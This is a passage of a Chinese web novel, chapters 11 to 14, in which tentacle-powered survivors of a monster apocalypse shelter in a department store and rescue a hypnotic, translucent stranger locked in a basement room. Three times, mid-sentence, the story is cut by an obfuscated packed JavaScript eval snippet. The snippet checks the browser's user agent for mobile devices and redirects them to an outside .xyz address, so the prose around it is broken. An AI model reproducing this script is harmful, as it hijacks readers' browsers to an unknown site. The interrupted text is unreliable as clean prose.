“这代表我并不喜欢杀人的感觉。”黎望舒展颜一笑,“冷静地反省是否该杀更多人,甚至有那么一瞬,我在想象中杀死了一个婴儿……我对那样的自己产生了恐惧,我害怕自己的底线会一推再推,最终堕落到最底层,变成只知杀戮的怪物。” “你不会变成那样的。”郁仪定定地望着她,“如果担心的话,下次需要杀人时让我来,我会干净利落地解决。” 黎望舒摇头失笑:“就算改变手法,罪孽也不会转移。我不会逃避那些本该由我承受的东西。” 倾诉了一通后,她心情轻松了不少,心满意足地将剑刃收回鞘中,偏头问:“你到底睡不睡觉?” 郁仪抿唇,梗着脖子不回答,又变回了那副执拗的样子。 “那我睡。”黎望舒站起身来,将剑鞘扔回他怀中,对待大型犬似的,心情颇好地拍了拍他的发顶,“好好守夜,不许偷懒。” 说完,便转身拉开车门,钻进了车中。 郁仪抱着剑愣在原地,许久后,脑海中才轰地一声炸开了一团烟花,热度从脖颈节节攀升,一直烧到了脸颊,头顶仿佛还残存着她温柔的触感。 他缓缓捂住脸,又将头埋进手臂中,控制不住地勾起了嘴角。 11. 第 11 章 天亮后,越野车又行驶了半天,在能遥望到城市轮廓的地方燃尽了最后一滴汽油。 “这么多吃的,都要丢下……”杜蕊窝在后备箱里,紧紧抱着那一大箱饮用水,心疼得几乎要哭出来,“我不要!” “没办法,附近已经没有能抽的油箱了。”黎望舒试着去拉她,但她像只八爪鱼似的,牢牢地吸在箱子上面,不肯下来,“旧的不去新的不来,前面就是山城市区了,不会饿到你的,快走。” 这一路走来,每次遇到废弃的车辆,他们都会下去检查油箱,将其中剩余的汽油抽回越野车中,这才勉强撑到了现在。但这种方法终究有极限,眼下,他们不得不抛下这辆动弹不得的车。 “呜呜……”杜蕊含着泪摸了摸水箱,又打开旁边的纸箱,掏了三份自热火锅出来,“那我们吃一顿再走吧。” “不是刚吃过午饭吗。”黎望舒无奈地说。 杜蕊用牙撕开包装,含糊道:“反正都带不走了,就是硬塞,我也要多塞一点再走!” ……于是,又一餐过后,三人背起装满食水的硕大背包,接着踏上旅途。 远处的市区高楼看起来触手可及,但实际路上布满上下坡,一步一步地走过去,才发现路程远比看上去要长——他们花费了一个下午的时间,才勉强摸到了市区的边缘。 “不、不行了!”杜蕊敞着外衣,额上满是汗珠,摇摇晃晃地踉跄几步,靠在了路边的绿化带护栏上,大口喘气,“我到极限了,走不动了……” 黎望舒看了眼天色,“天快黑了,找个地方过夜吧。” 杜蕊双眼一亮,累得上气不接下气,说不出话,只好连连点头。 又走了一段路,几人在微沉的暮色中走进了一间百货商店。 “唉……连电都停了。”不死心地反复按了几下电源开关,杜蕊失望地叹了口气。 “早晚的事。”黎望舒扫视周围,触手延伸,搜寻着商店内的怪物,不时从黑暗角落中传来柔软物体被绞断的声音。 从怪物出现的那一刻起,手机就没了信号,自来水也断了供应,电力能支撑到现在已经是个奇迹。 郁仪举起手电扫过货架——食品区被扫荡得什么都不剩了,不说保鲜柜里的生肉,就连冷冻区旁边水箱里的鱼都被捞了个一干二净,只有不受青睐的甲壳类生物躺在一堆白沫中,一动不动;一排排货架空荡地立在原地,有几处似乎遭受过巨力冲击,木板支离破碎地散落在地上,表面被暗红的血液渗透,看得出来这里曾经发生过激烈的战斗。 黎望舒只是扫了一眼,就漠不关心地移开了视线,接着搜索漏网的怪物——反正他们并不是为了补充物资而来。 这间百货店面积不大,但潜伏着的怪物却比想象中更多,好在都是些小东西,一个接一个地被她的触手揪出来绞杀。 与之前山间公路上的平静不同,一路走来,也许是离市中心越来越近,人口密度增加的缘故,附近的怪物出没得愈发频繁,远远地,他们还见过几个大家伙;但不知是都死光了还是躲藏起来了,他们一个活人也没见到。 “不可能死光的,剩下的人一定都在隐蔽的地方躲着呢!”听了黎望舒的猜想,杜蕊立刻蹦了起来,“不是有种说法吗?人类就像小强一样,无论遇到什么困难,都不会灭亡的!” “说的也是。”黎望舒安抚地拍了拍她的肩膀。 将店内几具残破尸体拖向拐角,大致清理完毕后,黎望舒放下背包,找了块干净的地方坐下来休息,郁仪一如既往地守在她身边;杜蕊反而来了精神,兴致勃勃地提着手电筒四处探索,但没一会儿就拖着脚步走了回来,手里抱着几瓶花花绿绿的瓶罐,垂头丧气道:“没意思……货架都被扫干净了。” 用水顺下口中干涩的饼干沫,黎望舒笑着回答:“毕竟这边人多,竞争激烈。” “抢吃的也就算了,那边的收银机居然也被敲坏了,真想不到,这种时候居然还有人顾得上抢钱……”杜蕊小声嘟哝着,将手电的亮度调暗,捧起手边散发着香气的瓶罐,细细地读起了瓶身上的成分表。 ……看来,她是无聊到极点了。 果不其然,将那堆瓶罐里里外外研究过一遍后,杜蕊又闲不下来似的,起身去另一边的货架中来回转悠。黎望舒放心不下,于是又伸出了两根触手,跟在她的左右巡逻。 “喂,你们快来看!”发现了什么似的,杜蕊兴奋的声音低低地传了过来,“这里有条向下的楼梯!” 黑暗中,黎望舒与郁仪对视一眼,应了一声后,带着背包,沿着触手的方向摸了过去。 “就是这里。”手电光照亮的地方摞着成箱的杂物,层层叠叠地,几乎堆到了天花板,但从箱子的缝隙中望去,背后的确是一条通向地下的楼梯。 亲眼确认了这道隐蔽阶梯后,黎望舒惊叹:“这都能被你找到。” 杜蕊得意地哼了一声,又问:“下去看看?” 黎望舒手指擦过纸箱表面——还算干净,并没有摸到多少灰尘。 “箱子摞得很整齐,应该是某人刻意将这条路藏起来了,痕迹还是新的,应该是最近发生的事。”黎望舒沉思片刻,“底下可能存有物资,但也有可能是危险的怪物。” 杜蕊打了个冷战,这才从兴奋劲里抽离出来,“那、那要不还是别下去了……就算发现了物资,我们也带不走啊。” “话虽如此,但如果要在这里过夜的话,还是将下面探干净比较安心。”黎望舒说,“有我们在,不会有事的。先把箱子移开吧,动作轻点。” 郁仪二话不说地开始执行,杜蕊叹了口气,认命地将手伸向旁边的箱子:“真不该到处溜达,又得干活了……我检讨。” 在黎望舒触手的协助下,很快,他们就清理出了足够两人通过的空间。 “望舒,你的力气是不是变大了?”看着她触手上下翻飞,灵活地抬下了一个又一个箱子,杜蕊艳羡道,“触手伸展的范围好像也变长了。” “有吗?”黎望舒愣了一下,猛然回忆起了自己一开始的状态——那时她的触手的确伸不太长,力气也不大,对付小型怪物都需要用尽全力;而现在,她能轻松地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794250|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用触手将普通怪物绞成两段,手上的力气也逐渐向触手靠近,变得越来越大。 ……潜移默化间,她似乎与触手融合得愈发紧密了,就连人类肢体部分都受到了影响。 大脑空白一瞬,她捏紧拳头,若无其事地笑了笑:“这是好事啊。” “的确……你揪着衣领,提起那个寸头男时的样子真的太帅了!好想一辈子挂在你身上!”杜蕊想起那时候她面无表情的样子,两眼放光地就要贴过去,但刚扑到一半,后领就被一股大力揪住,没能得手。 “你——” 后领被放开,杜蕊回头刚要发怒,就见郁仪一脸正色,语气寒凉道:“正事要紧,别闹了。” “……哼!”对他这样做的理由心知肚明,但终究是她理亏——杜蕊怒气冲冲地扭过头去,不和他计较。 一番闹腾过后,三人总算沉下了心,屏住呼吸向下走去。 楼梯上无事发生,一行人转过两个拐角后,平安下到了底层。 黎望舒微微舒了口气,手腕微动,发黄的手电光束刺破黑暗,缓缓扫过层叠的货架,上面整齐摆放着各式各样的衣服——这里像是个服装卖场。 与上方百货店的杂乱不同,这里既没有被怪物入侵的迹象,也没发现打斗的痕迹,墙面与地板干干净净,没有血液与飞溅的肉块,一切都井然有序,除开没有活人外,和末世降临前的模样并没有任何不同。 “什么都没有?”跟着前方二人把整个卖场绕了一圈后,杜蕊疑惑地喃喃道,“一堆衣服而已,有什么好藏的?” “……那堆箱子可能只是个巧合吧。”黎望舒拧起眉头,心中仍有一丝不知从何而来的焦躁感。 “虚惊一场,也挺好的。”杜蕊乐观道,“这里比上面干净多了,待在这里,就不用闻楼上的血腥味了,而且……” 她随手捞起旁边货架上的毛绒外套:“身上的衣服都被怪物血泡透了,又重又腥,我早就想换一换了,今晚就睡这里吧!” “……我同意。”扫了眼身上斑驳一片的青衣,郁仪破天荒地赞同了杜蕊的话。 “行,试衣间在那边,你们先换。”黎望舒点头,找了个角落坐下来,将触手上串着的三个背包放在身边,用手电筒遥遥地照亮了整个卖场,“我在这里守着。” 杜蕊欢呼一声,跑向了层层叠叠的衣架;郁仪没怎么犹豫,随手从身边拿了一套休闲装后,径直走进试衣间,拉上了帘子。 黎望舒唇角微微挑起,注视着杜蕊犹豫不决地左摸摸、右看看。就在这时,手中的手电光逐渐暗淡下去,闪烁一下后,突然熄灭了,黑暗中传来杜蕊的惊叫。 “没事,应该是没电了。”黎望舒伸手,正准备去包里摸电池,还没适应黑暗的视网膜上突然映出了一片微弱的光亮,她视线骤然凝在一处—— 不远处一个挂满厚重衣物的衣架后方,隐约藏着一扇门,底部门缝中漏出星星点点的微光,投射在光滑地板上,不时变幻颜色,看起来颇有几分诡异。 ……眼下到处都断了电,门里头到底是什么在发光? 12. 第 12 章 漆黑一团的地下卖场角落里,一扇门静静嵌在黑暗之中,底下的门缝里隐约透出绮丽的光芒。 “啪”一声,手电应声亮起,强力的光束瞬间吞没了那片微弱光芒,照亮了大半个卖场;光束晃动两下后,对准了门上挂着的银白色小锁。 黎望舒提着手电筒,向后退了两步,低声道:“好了,来吧。” 郁仪上身套着宽松白T恤,修长双腿被淡蓝牛仔裤包裹,腰间依旧紧紧缠着用来挂剑的黑色束带,闭目敛息地立在门前。 接收到黎望舒的指示,他睁开双眼,凝眸盯向微微反着光的小巧锁头,拇指一推,拔剑出鞘,双手紧握剑柄,将泛着冷光的剑刃横在脸侧,单足向后退了一步,压低身体,摆出了一个极具力量感的架势。 “……”杜蕊远远地看着,忍不住屏住了呼吸。 他缓缓吐出一口气,温热的气息穿过冰冷的空气,凝成了丝丝缕缕的白烟,稳定地向上升去;下一个瞬间,伴着一阵破空声,剑刃斩断空气,划开那道细烟,拉出了一道耀眼的剑光,精准地斩过银锁后,又挽了个漂亮的剑花,顺滑地被收入鞘中。 “咔哒。” 小巧银锁停滞一瞬,连同被锁住的把手一起,清脆地从中间断成了两半,掉落在光滑瓷砖上,转着圈滑向远处,撞上了杜蕊的鞋尖。 “哇塞……”杜蕊目瞪口呆地捡起那一半锁头,盯着光滑的断面,半天没说出话来。 黎望舒已经不是第一次见识郁仪的身手了,即便如此,眼睁睁看着那锁头与金属把手豆腐似的,轻而易举地被剑刃切成两半,依然给她带来了不小的震撼。 ……几分钟前,发现那扇门下的光芒后,她便叫来了正在换衣服的郁仪与杜蕊,将门前遮掩着的衣架尽数搬开。就在她想进去一探究竟时,却发现那道门被一把银白小锁从外部牢牢锁住了,钥匙不知所踪。 无奈之下,她想起郁仪说过,他的剑能切开金石,于是就拜托他来试一试,没想到竟然切得这么容易。 没了把手的束缚,那道门微微受了点力,向内敞开一条窄缝。黎望舒将手电调暗了些,于是缝隙中,又透出了隐隐的荧光。 悄无声息地滑到门边,黎望舒紧贴墙壁,对着朝这边探头探脑的杜蕊打了个手势,示意她留在原地,自己则与门另一侧的郁仪交换了一个眼神,伸出一根触手,试探地贴在门上,使了点力气。 “吱呀——” 金属门轴的转动声,在空旷沉寂的卖场中清晰地回荡,门彻底敞开了,然而,里头依旧悄无声息。 黎望舒深吸一口气,缓缓挪动身体,探出了半个脑袋,向门内望去——眼中映出的景象几乎超出了人类的常识,实在太过奇异,她喉咙发紧,忍不住放轻了呼吸。 ——这个房间看起来像是卖场员工的休息室,储物柜被翻得乱七八糟,杂乱的文件与衣物散落一地,上面打翻了几个马克杯,杯底干涸,看不到一滴水;房间正中央,一个年轻男人双目紧闭地悬浮在半空中,皮肤白得几近透明,底下的血管组织清晰可见,淡色西装外套皱巴巴地挂在身上,两边袖口中伸出几条缎带似的透明触须,闪烁着如梦似幻的彩色荧光,姿态闲适地在空气中飘摇。 “……是人类吗?”她轻声询问,但年轻男人好像失去了意识,并没有睁开双眼。 郁仪也朝里面看了一眼,露出了惊讶的表情;下一瞬,他不知想到了什么,突然面色一变,收剑入鞘,紧走几步,接近了那个漂浮着的男人。 “喂,你小心点!”郁仪动作太快,黎望舒甚至来不及阻止——好在漂浮男人周围的触须似乎并没有攻击欲望,依旧漫无目的地飘荡着,看起来十分无害。 郁仪掰过男人的脸,扒开他的眼皮检查瞳孔,回头高声吩咐:“杜蕊,拿食物和水来,快点!” 杜蕊一愣,连忙应了一声,手忙脚乱地去翻身边的背包。 郁仪一向沉着,难得见他如此急切的模样。黎望舒走近了些,想帮把手,但却被拦住了——他飞快地摇了摇头,凝眉道:“别离得太近,他皮肤上有毒,触手估计也一样。” 说着,他解开脑后的发带,低头往手心上缠了几圈——黎望舒眼尖地看到,他手心通红,微微肿起了一片。 “给,水和饼干。”杜蕊将食水扔进房间,郁仪拧开水瓶,抓过地上的衣物垫在手心,按着漂浮男人的脑袋,往他喉咙里灌了两口,动作过于粗暴,引得那人一阵呛咳。 又被强行灌下了几口水后,漂浮男人触手上的荧光消散,身体逐渐落回地面,几声呓语后,眼皮一抖,睁开了眼睛—— ……渴……好渴。 黑暗的死寂中,昼夜的概念不复存在。闻风藻不知道已经过去了几天,也无暇去思考,大脑被极度的干渴与饥饿感占领,再也腾不出空去想无关紧要的事情。 触手无意识地伸出,毛孔仿佛化作了一张又一张饥渴的小嘴,贪婪地从空气中汲取水分……但那么一点微不足道的水分,完全不足以缓解他烧灼般的渴意。 他甚至想咬开自己果冻似的触手,将里面贮藏的水吸得一干二净,但牙关使不上力气,几次开合,都被触手充满弹性的表皮挡了回来。 恍惚中,闻风藻隐约有了一种预感——只要放任自己的意识沉向深处,就能彻底摆脱缺水的痛苦,但本能地,他抗拒这种可能性。 残存的理智与渴求解脱的欲望拉锯许久,就快支撑不住时,牙关突然被硬物撬开,一股清凉水流涌入喉中。 ……撑开沉重的眼皮,眼前不再是一片黑暗,门外隐约地有光透进来。他舔去唇上残留的水珠,目光迟钝地抬起——面前一道身影背光站立着,长发垂下,漆黑眸中闪烁着一点寒星似的光,正冷冷地盯着他看。 “……!”意识到自己的触手尚未收回,应该被眼前这人发现了,闻风藻心脏猛地一缩,几乎没怎么思考,眼中湛蓝色光芒一转,向面前的黑影刺去—— “唔——!!” 身后房间里传来一声嘶哑的呻吟,黎望舒一惊,连忙放下手中的药膏,转身用手电筒扫去——那个漂浮男人醒了过来,半靠在储物柜边,双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794251|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱住脑袋,清秀五官因痛苦而扭曲,右眼缓缓溢出鲜血,汇成了一行浓稠血泪,顺着眼角蜿蜒而下。 摇晃两下后,他眼白一翻,昏倒在地。 眼看着刚救回来的人又出了状况,黎望舒心累地叹了口气,目光转向一旁的郁仪,“这是怎么了?” 郁仪也有些茫然似的,摇了摇头:“我什么都没做。” 黎望舒又要说什么,身后突然传来“咕咚”一声重物倒地的声响。她回头一看,目光触到地上那团一动不动的身影时,浑身一冷,血液仿佛都冻结了—— “小蕊!” -- ……十分钟后。 黎望舒将手电筒横放在身边,冷冷地看了一眼对面盘膝而坐的年轻男人,忍不住又伸出手,去探身边杜蕊的鼻息——平稳又温热,杜蕊的确还活着,但无论怎么摇晃,都没办法把她叫醒。 心中涌起一阵焦躁,她下意识收紧触手,紧接着就听到对面传来了一阵窒息的呛咳声。 “我、我保证……”闻风藻拉住缠绕在颈间的触手,艰难地喘息着,再次从喉咙中挤出声音来,“她只是睡着了,再过一会儿就会醒!” 黎望舒冷哼一声,并未放松对他的控制:“等她真的醒了再说。” 郁仪立在黑暗中,盯着闻风藻颈上的触手,脸色不大好看,不知在想些什么。 又是一阵沉默,突然,不知从哪传来一阵叽里咕噜的声响——闻风藻清秀面庞涨红,窘迫地捂住了肚子。 感受到触手传回的热意,黎望舒额上青筋一跳,从背包里抽出一包压缩饼干扔了过去,“吵死了。” 闻风藻一脸意外,似乎没想到她会将食物分给自己,愣了一下后,连忙扯出了一个讨好的笑:“谢谢,两位小姐人真好。” “你说什么?”郁仪面色阴沉。 “呃,对不起,三位小姐?”见他脸色愈发难看,闻风藻绞尽脑汁地改换称呼,“女士?女侠?” “你看清楚!”郁仪忍无可忍地打断了他,向前踏出一步,脱离了阴影,“我是男人!” 闻风藻恍然大悟地一拍脑袋:“这位少侠,真对不起,您头发太长,又待在暗处,我没看清您的脸……” 随着一股冷气刮过,闪着寒光的剑刃架在了颈侧,闻风藻呼吸一窒,顿时不说话了。 ……一个称呼而已,用得着这样大动肝火吗。 “郁仪,把剑放下。”黎望舒劝道。 “你把触手收回去,这家伙由我来看守。”盯着他颈间亲密缠绕着的触手,郁仪眸光泛起凉意。 “你手心都肿成那样了……听话,把剑放下。”黎望舒无奈地按了按太阳穴,不明白他又在发什么疯,“要是小蕊有什么万一,我就把他的脖子绞断。” “我的剑也很快,一瞬间就能把他的脑袋削掉!”郁仪又犯了那股执拗劲儿,剑刃稳稳地架在闻风藻肩头。 闻风藻被夹在中间,听着他们毫不掩饰的凶残话语,面色逐渐发青。 ……真的,有没有人在乎他的感受啊。 13. 第 13 章 这场莫名其妙的争论,最终以黎望舒的胜利告终。 郁仪不情愿地收了剑,又缩回阴影中。闻风藻总算松了口气,捡起面前的饼干,但并不急于撕开包装,沉默了一会儿后,冷不丁地问:“……为什么要救我?” “救你的是他,不是我。”黎望舒指了指旁边面无表情的郁仪。 “我的意思是,你们为什么不趁机杀了我?”他低头盯着手中的饼干,轻声开口,“我是个长着触手的怪物,还伤害了你们的同伴,你们难道不害怕吗?居然还把食物分给我……” “你有什么好怕的。”黎望舒淡漠道,“我也有触手,而且比你的更强,轻轻一收就能把你绞死,而且——” 她顿了顿,低头看了眼睡得正香的杜蕊,“你没把这种神奇的力量用在我和郁仪身上,无论原因为何,我认为现在的你对我们来说没有威胁。” 闻风藻心虚地移开视线,捏了捏手里的塑料包装,欲言又止。 “他对我用了。”后方的郁仪突然开口。 郁仪的视线一直紧锁在闻风藻身上——准确地说,是闻风藻颈间的触手上——因此捕捉到了他那一瞬间的表情变化,再结合之前在他眼中看到的那一抹蓝光,自然而然地推出了这个结论。 “他刚醒过来的时候,对我发动能力了。”对上黎望舒的目光,郁仪斩钉截铁地又重复了一遍。 黎望舒挑眉望向闻风藻——他打了个冷战,下意识拉住了颈间触手,妥协道:“好吧,我承认……但那只是为了自保!” “那杜蕊又是怎么中招的?”黎望舒问。 “我的催眠并不针对个人,而是影响一定的范围,按以往的经验来说,你们三个都应该睡过去的。”提起那时候的事,闻风藻面色又白了三分,心有余悸道,“但不知道为什么,发动能力的那一瞬间,我眼前金光闪过,脑袋像是被铁锤重击了一下,痛得直接失去了意识。醒来后才发现,你们两个居然不受能力影响,而且……我差一点就被你勒死了。” 他态度诚恳,说得真情实感,并不像编造出来的——初步判定此人可信后,黎望舒松了口气,回头寻找郁仪,却见他想到了什么似的,双眉紧锁,低头沉思。 见状,她没有去打扰郁仪,反而对闻风藻的超能力起了些兴趣,追问道:“你的触手和能力都是怎么来的?” “触手在一年前的某天突然出现,催眠能力则是最近才发现的。”闻风藻心念一动,袖中便探出了两条透明触手,在空气中小幅摇摆。 “等等,你说一年前?”黎望舒吃了一惊。 “没错,那时候我吓得半死,请了足足一周的病假,生怕被人抓去切片研究。”闻风藻苦笑,“还好,没花多长时间我就学会了控制它们,所以一直没被发现……直到末日降临。” 不知想起了什么,他面色骤然阴沉下来,紧紧攥住了手中的饼干,指节用力得有些发白。 “我的触手是异变降临后才出现的,没想到那么早之前就有预兆了。”黎望舒摸了摸下巴。 “哈哈……实不相瞒,因为一直没遇到过同类,我曾经认为自己是特别的。”闻风藻重新整理好表情,“触手怪物出现在眼前的时候,我还以为它们会把我当成同类,结果被狠狠地咬了一口。” 说着,他卷起破了几个洞的长裤,想要找到那时的伤口,但摸索了半天,什么也没摸到,“咦?伤口不见了。” 黎望舒意识到什么,上前两步,检查他的裤脚——小腿处的布料上有一排破洞,的确很像小型怪物的齿痕;但那排齿痕下的皮肤却一片光滑,别说伤口,连一点凹凸的伤疤都摸不到。 身旁投下一片阴影,郁仪不知何时又凑近了,一脸不高兴地盯过来;但黎望舒无暇关心他,抬眼望向闻风藻,追问道:“你被咬是什么时候的事?” “呃……我不知道过去多久了,应该是触手怪物刚出现的时候?”闻风藻抓了抓头发。 “大概三天前啊。”黎望舒沉思片刻,突然兴奋地起身,从背包中翻出了绷带,“我有个想法,需要实验一下。” “等等,别——”郁仪立刻明白了她想做什么,但来不及阻止,黎望舒已经“唰”一声甩出小刀,对着自己的手臂划了下去。 闻风藻睁大双眼,愣愣地看着鲜红血液从她的皮肤中涌出。 黎望舒疼得闷哼一声,咬紧了后槽牙,拿起绷带,咬住一头,打算为自己包扎时,一只带着薄茧的手扯下了她口中的绷带——郁仪双眉紧锁,半蹲下来,沉默地为她止血。 “简单包一包就行,不用上药……嘶!”手臂上的绷带突然收紧,她吃痛地吸气,抬眼便对上了郁仪那双怒气翻涌的黑眸——他眼眶下又有点发红,与她对视两秒后,低下头去,放轻了动作,继续为她包扎伤口。 ……啊。 黎望舒大概明白郁仪生气的理由——无非就是担心她,认为她不该伤害自己。但她性格板直,不太擅长应付这种明晃晃的关心,于是在心中琢磨起来,该如何回应。 ……正思考着,郁仪长发垂下,丝丝缕缕地搭在她手指上,绸缎似的,光滑又柔软;她指尖微痒,很想捉来一缕捻一捻,但想到郁仪还在生气,只好压下了心头的冲动。 终于组织好语言,黎望舒哄小孩似的,软下语气:“对不起,让你担心了。但我想知道自己有没有快速愈合的能力,必须确认一下才能安心,所以……” “我明白。”郁仪一字一顿地打断了她,“但你下手太果断了,甚至从没想过和我商量一下,就用那种可疑的小刀……划得那么深,万一感染了怎么办?” 黎望舒语塞。 “我还以为,你已经把我当成同伴了。”郁仪手指翻飞,一边咬着牙控诉,一边在她手臂上扎出了一个完美的蝴蝶结,“但你还是不信任我。” “不是,我没这个意思,你听我解释……”黎望舒头大如斗,余光瞥见闻风藻在一边嘴角抽搐,忍不住狠狠地瞪了他一眼。 这时候,仿佛还嫌场面不够乱似的,杜蕊揉着眼睛醒过来了,朝这边望过来,呆滞道:“望舒,我好像又梦见你和郁仪吵架了。” “……对不起,下次我会记得和你商量的。”黎望舒太阳穴抽痛,叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794252|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,半真半假道,“无论如何,在我心里,你已经是我们的同伴了。” “先学着多珍惜自己一点吧。”郁仪心中憋着气,扔下这句话,转头就要走,但头皮微痛,发尾传来了一股拉力——回头一看,黎望舒白皙的指间竟然缠绕着一缕乌黑发丝。 “啊,抱歉。”黎望舒立刻松开了那一缕黑发,一脸无辜,“下意识就捉住了。” 郁仪睁大眼睛,喉结滚动,急促地喘息两声,清晰地感觉到了脸颊上再度攀升的热度。为了掩饰,他气息不稳地背过身去,大步离开了明亮的区域。 ……真没出息。 他按下心中隐秘的满足感,忍不住唾弃自己。 -- “哇——”看着果冻似的透明触手在空气中打了个结,杜蕊十分捧场地发出一声感叹,“像水母的触手一样,好漂亮,而且看起来脆脆的,应该很美味。” 闻风藻笑容一僵,从牙缝里挤出声音,“……这可不是海蜇头。” 杜蕊遗憾地咂了咂嘴,又兴致勃勃地问:“你还能让它发光吗?” “做不到。”闭目集中了一会儿,闻风藻摇头,“在这之前,我甚至不知道它们还能发光,更别说漂浮了……但我能让它们分泌出毒素,你想试试吗?” “才不要!” 听见他们的对话,黎望舒悄悄向后挪了一点,戳了戳郁仪,压低声音:“你应该知道些什么吧。” “……你指什么?”郁仪不自然地偏过头去。 “见到闻风藻的时候,你立刻反应过来他需要食水,很有经验啊。”黎望舒微微眯眼,意味深长地盯着他看。 “歪打正着罢了。”郁仪垂眸,避开她探究的视线,“他嘴唇干裂,瞳孔涣散,皮肤变得透明,上面满是毒素,看起来濒临极限……正巧,我以前遇到过类似的情况。” “如果没人救他,就那样任由他发展的话,最后会变成什么样子?”黎望舒问。 “我不确定,可能会彻底失控,变成怪物吧。”郁仪握住剑柄,犹豫道,“也有可能缺水而死。” “你居然也会有不明白的事?”黎望舒笑了,“异变刚降临时,你就能准确说出怪物的特征与弱点,我很好奇,你的知识都是从哪里来的?” 这个疑问一直盘旋在她的心头。 但郁仪却有些为难似的,薄唇几度张合,最终颓废地垂下头,“对不起……我还不能说。” “但我保证——”余光触到黎望舒淡下的笑容,他心中骤然升起恐慌,一下子抬起头,拉住了黎望舒的袖口,“未来的某一天,在我找到答案之后,一定会将所有事原原本本地、没有一丝遗漏地全部告诉你!” 袖子上传来小小的拉力,眼前这人像只害怕被主人抛弃的小动物似的,水润黑眸盛满不安,小心地盯着她看,看起来可怜巴巴的。 ……这家伙,果然有点可爱。 “没关系。”压下胸中油然而生的一股施虐欲,黎望舒捏住他的手腕,毫不留情地将衣袖从他手中拉出来,欣赏着他睁大的双眼,微笑道,“我期待那一天的到来。” 14. 第 14 章 “那个……你们能带我一起走吗?” 天亮后,三人收拾东西,准备出发时,窝在墙角的闻风藻突然出声。 一晚过去,他看出了黎望舒才是那个有资格做决定的人,于是目标明确地,一双桃花眼微微下垂,带着示弱的意味仰望着她,看得郁仪立刻磨起了后槽牙。 “为什么?”黎望舒审视他,“明明昨晚差点被我勒死?” “这、这个嘛……”闻风藻身体一僵,下意识捂住了脖颈上的淤痕,“本来就是我先动手的,你们防备我也是理所应当。” 闻风藻似乎一夜未眠,后半夜,黎望舒被叫起来守夜时,一眼就看到他躺在手电筒边上,双眼圆睁、盯着天花板发呆的样子。 她守夜时,闻风藻的目光一直来来回回地,在她身上绕来绕去,几次凑过来想说什么,又吞吞吐吐地把话咽了回去。但她毫不关心陌生人的心理活动,于是懒得追问,冷眼看着他独自纠结了大半夜。 因此,现在听到他请求同行,她并不觉得多么惊讶,反而有种意料之中的感觉。 “与我们同行,意味着你不能对我们隐瞒太多。”黎望舒在他对面坐下,“先来说一说,你被关在这里的理由吧。” 昨晚杜蕊也问过同样的问题,但是被他哈哈笑着糊弄过去了——果然,听到这个问题,闻风藻眉毛一扬,又要露出他的招牌假笑,黎望舒又淡淡地补充了一句:“我要听实话,你只有一次机会。” “……好吧。”一阵长久的沉默后,闻风藻耷拉下双肩,长出了一口气,“其实也没什么不能说的。” “我是C大的美术生,末日发生的时候和社团的朋友们约好,一起去郊外写生,傍晚回来的时候才发现,路上到处都是怪物。”他语气低缓,“我们一路躲躲藏藏,最后来到了这个歇业的地下卖场,里面没有人,也没有怪物,非常安全。” “然后,我睡了一觉,醒来就发现自己被关在了房间里,房门打不开,怎么叫也没有人答应。我渴得受不了,在黑暗中翻遍了柜子,但一滴水也没有找到。”他呼吸有些急促,扯出了一个苍白笑容,“可能是害怕我的触手吧,再加上我被怪物咬伤了,血腥味会引来更多的怪物,所以他们才……” 他没有继续说下去,自嘲地笑了一声后,摊开双手,“这就是全部了。” “一路上遇见的怪物,都是你解决掉的吧。”黎望舒抓住了他话中含糊其辞的部分,“触手就是这样暴露的?” 闻风藻面色一变,沉默下来。 “你在害怕。”黎望舒了然,“你怕自己会再一次被人利用,所以不愿意说出这段经历,对吗?” “啊……是啊!”忍无可忍了似的,闻风藻突然爆发了,平和的伪装卸下,面上只余一片恨意,“我救了他们,一路护着他们来到这里,但结果呢?没吃没喝地被锁在小黑屋里,差点被活活饿死,连条狗都不如!” “哪怕他们直接手起刀落,给我个痛快,也好过让我在黑暗中抱着零星的希望煎熬!”他激动得牙关打颤,有些语无伦次,双目通红,但没有掉一滴泪,“太可怕了……我不想再经历这种背叛了。” 杜蕊目露同情,从身后偷偷拽了一下黎望舒的衣角;但黎望舒不为所动,继续问道:“害怕背叛的话,你应该一个人上路才对,为什么还要寻找新的同伴?长久打交道的同学都没能看透,你凭什么敢向仅仅相处了一晚的我们提出同行请求?” 没想到她如此难缠,闻风藻眼角抽搐,几乎快要绷不住悲切的表情,硬撑着回答:“……日久不一定见人心,在这种特殊情境下,才更能看清身边人的真面目。你们对我非常宽容,甚至愿意把宝贵的食物分给我,从我观察到的细节来看,你们不像是坏人。” 